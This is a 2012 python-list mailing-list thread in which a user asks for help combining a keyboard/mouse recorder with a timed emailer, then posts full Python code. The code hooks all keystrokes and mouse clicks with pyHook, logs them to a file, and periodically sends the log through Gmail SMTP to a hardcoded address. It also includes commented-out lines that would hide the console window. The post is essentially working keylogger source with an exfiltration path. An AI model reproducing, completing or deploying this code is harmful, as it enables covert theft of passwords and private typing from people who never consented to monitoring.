בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit: > Doron wrote: > > > > > > Hey, I'm tring to create a software that records the keyboard/mouse and > > sends email of the log every > > > predetermined period. > > > > > > I've manage to make the recorder and the auto-email sender, but I still > > can't make both of them work > > > simultaneously. > > > > > > Can someone help me with this please? > > > I thought about threading but again... It just sends blank mails without > > the logs. > > > > > > Thanks alot ahead! > > > > I am not sure how to even begin helping you. I do not even know > > what is wrong other than "can't make both of them work simultaneously". > > What version of Python and OS? Are you using any 3rd party modules? > > What is the code you use? What happens and what do you expect? How > > are you getting the logs for email? Are they being passed in or are > > you using a log file? > > > > > > ~Ramit > > > > > > > > This email is confidential and subject to important disclaimers and > > conditions including on offers for the purchase or sale of > > securities, accuracy and completeness of information, viruses, > > confidentiality, legal privilege, and legal entity disclaimers, > > available at http://www.jpmorgan.com/pages/disclosures/email.
This is the code: ======================= import win32api import win32console import win32gui import pythoncom, pyHook import smtplib import time import thread, threading #win = win32console.GetConsoleWindow() #win32gui.ShowWindow(win,0) log = "" logpath = "log.txt" openfile = open(logpath,"w") openfile.write("") #openfile = open(logpath,"r+") l = threading.Lock() def sendEmail(): print("ready to send email") fromaddr = 'em...@gmail.com' toaddrs = 'em...@gmail.com' msg = open('log.txt',"r").read() username = 'something' password = 'something' server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, msg) server.quit() print("mail sent") def sendEmailAuto(dt,openfile): tt = time.time() nn = tt+dt while tt<nn: print(tt,nn) if tt>=nn-0.5: #l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python msg = open('log.txt',"r").read() print(msg) sendEmail() tt = time.time() nn = tt+dt log = "" #l.release() else: tt = time.time() def OnKeyboardEvent(event): try: global log if event.Alt == 32 and event.KeyID == 160: log = "[LangCh]" elif event.KeyID>=37 and event.KeyID<=40: log = "["+event.Key+"]" elif event.Ascii == 8: log = "[BS]" elif event.Ascii == 9: log = "[TAB]" elif event.Ascii == 13: log = "[NL]" elif event.Ascii == 27: log = "[ESC]" elif event.Alt == 32 and event.KeyID == 75: openfile.close() sendEmail() exit() else: log = chr(event.Ascii) openfile.write(log) except: pass return True def OnMouseEvent(event): global log if event.MessageName == "mouse left down": log = "<"+event.WindowName +">\n" openfile.write(log) if event.MessageName == "mouse left up" and event.WindowName == None : log = "-\n" openfile.write(log) return True thread.start_new_thread(sendEmailAuto, (10,openfile)) hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm2 = pyHook.HookManager() hm2.MouseAll = OnMouseEvent hm.HookKeyboard() hm2.HookMouse() pythoncom.PumpMessages() ======================================== i want that an email will be sent to the address every 5 minutes for example. i'm working on Windows7 and the latest python version. -- http://mail.python.org/mailman/listinfo/python-list